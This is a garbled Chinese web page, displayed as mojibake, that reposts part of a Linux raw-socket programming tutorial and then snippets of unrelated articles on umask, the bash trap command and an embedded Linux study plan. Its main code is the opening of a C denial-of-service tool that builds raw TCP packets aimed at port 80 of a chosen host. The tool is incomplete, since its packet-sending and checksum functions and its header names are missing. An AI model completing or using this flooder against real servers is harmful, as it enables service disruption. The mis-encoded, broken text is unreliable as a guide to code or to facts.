Linux²Ù×÷ÏµÍ³ÍøÂç±à³Ì ÔʼÌ×½Ó×Ö £¨1£©
Linux²Ù×÷ÏµÍ³ÍøÂç±à³Ì--ÔʼÌ×½Ó×Ö £¨1£©
http://soft.zdnet.com.cn/software_zone/2007/1020/568223.shtml
ÎÒÃÇÔÚÇ°ÃæÒѾѧϰ¹ýÁËÍøÂç³ÌÐòµÄÁ½ÖÖÌ×½Ó×Ö(SOCK_STREAM,SOCK_DRAGM).ÔÚÕâÒ»Õ ÀïÃæÎÒÃÇÒ»ÆðÀ´Ñ§Ï°ÁíÍâÒ»ÖÖÌ×½Ó×Ö--ÔʼÌ×½Ó×Ö(SOCK_RAW)¡£Ó¦ÓÃÔʼÌ×½Ó×Ö,ÎÒÃÇ¿ÉÒÔ±àд³öÓÉTCPºÍUDPÌ×½Ó×Ö²»Äܹ»ÊµÏֵŦÄÜ. ×¢ÒâÔʼÌ×½Ó×ÖÖ»Äܹ»ÓÉÓÐrootȨÏÞµÄÈË´´½¨¡£
ÔʼÌ×½Ó×ֵĴ´½¨
int sockfd(AF_INET,SOCK_RAW,protocol)
¿ÉÒÔ´´½¨Ò»¸öÔʼÌ×½Ó×Ö.¸ù¾ÝÐÒéµÄÀàÐͲ»Í¬ÎÒÃÇ¿ÉÒÔ´´½¨²»Í¬ÀàÐ͵ÄÔʼÌ×½Ó×Ö ±ÈÈç:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDPµÈµÈ.ÏêϸµÄÇé¿ö²é¿´ ÏÂÃæÎÒÃÇÒÔÒ»¸öʵÀýÀ´ËµÃ÷ÔʼÌ×½Ó×ֵĴ´½¨ºÍʹÓÃ
Ò»¸öÔʼÌ×½Ó×ÖµÄʵÀý
»¹¼ÇµÃDOSÊÇʲôÒâ˼Âð?ÔÚÕâÀïÎÒÃǾÍÒ»ÆðÀ´±àдһ¸öʵÏÖDOSµÄС³ÌÐò. ÏÂÃæÊdzÌÐòµÄÔ´´úÂë
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DESTPORT 80 /* Òª¹¥»÷µÄ¶Ë¿Ú(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostnamena",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** ʹÓÃIPPROTO_TCP´´½¨Ò»¸öTCPµÄÔʼÌ×½Ó×Ö ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%sna",strerror(errno));
exit(1);
}
/******** ÉèÖÃIPÊý¾Ý°ü¸ñʽ,¸æËßϵͳÄÚºËÄ£¿éIPÊý¾Ý°üÓÉÎÒÃÇ×Ô¼ºÀ´Ìîд ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** ûÓа취,Ö»Ó󬼶»¤Óû§²Å¿ÉÒÔʹÓÃÔʼÌ×½Ó×Ö *********/
setuid(getpid());
/********* ·¢ËÍÕ¨µ¯ÁË!!!! ****/
send_tcp(sockfd,&addr);
Ïà¹ØÎĵµ£º
umask()º¯Êý£º´Ëº¯ÊýµÄÖ÷Òª×÷ÓÃÊÇÔÚ´´½¨ÎļþʱÉèÖûòÕ߯Á±ÎµôÎļþµÄһЩȨÏÞ¡£Ò»°ãÓëopen()º¯ÊýÅäºÏʹÓá£openº¯ÊýÔÐÍ£º
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
int open( const char * pathname, int flags);
int open( const char ......
trap [-lp] [arg] [sigspec ...]
µ± shell ÊÕµ½ÐźŠsigspec ʱ£¬ÃüÁî arg ½«±»¶ÁÈ¡²¢Ö´ÐС£Èç¹ûûÓиø³ö arg »òÕ߸ø³öµÄÊÇ -,
ËùÓÐÖ¸¶¨µÄÐźű»ÉèÖÃΪËüÃǵijõʼֵ (½øÈë shell ʱËüÃǵÄÖµ)¡£Èç¹û arg ÊÇ¿Õ×Ö·û´®£¬ sigspec Ö¸¶¨µÄÐźű»
shell ºÍËüÆô¶¯µÄÃüÁîºöÂÔ¡£Èç¹û arg ²»´æÔÚ£¬²¢ÇÒ¸ø³öÁË -p ÄÇôÓëÿ¸ö sigspec ......
ǶÈëʽLinux²Ù×÷ϵͳѧϰ¹æ»®
ARM+LINUX·Ïߣ¬Ö÷¹¥Ç¶ÈëʽLinux²Ù×÷ϵͳ¼°ÆäÉÏÓ¦ÓÃÈí¼þ¿ª·¢Ä¿±ê£º
£¨1£© ÕÆÎÕÖ÷Á÷ǶÈëʽ΢´¦ÀíÆ÷µÄ½á¹¹ÓëÔÀí£¨³õ²½¶¨Îªarm9£©
£¨2£© ±ØÐëÕÆÎÕÒ»¸öǶÈëʽ²Ù×÷ϵͳ £¨³õ²½¶¨Îªuclinux»òlinux,°æ±¾´ý¶¨£©
£¨3£© ±ØÐëÊìϤǶÈëʽÈí¼þ¿ª·¢Á÷³Ì²¢ÖÁÉÙ×öÒ ......